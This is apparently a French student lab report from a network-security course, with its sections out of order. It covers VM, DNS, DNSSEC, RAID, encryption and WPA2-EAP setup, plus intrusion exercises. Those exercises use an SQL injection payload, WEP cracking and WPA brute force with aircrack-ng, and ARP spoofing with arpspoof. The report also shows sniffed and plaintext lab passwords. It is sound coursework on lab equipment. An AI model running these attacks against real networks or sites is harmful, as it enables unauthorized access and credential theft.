5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.

Je considère la sécurisation de mes données de VM atteinte.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...

Le wifi SSID_Lulya est visible et accessible.

Dot11Radio 0 : 2.5 GHz

Dot11rRadio 1 : 5 GHz

Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.

Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.
ap#sh dot11 bssid

TP sysres IMA2a5 2020/2021 G7

2020-12-15T16:17:35Z

Lchenu : /* Sécurisation de site web par certificat */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
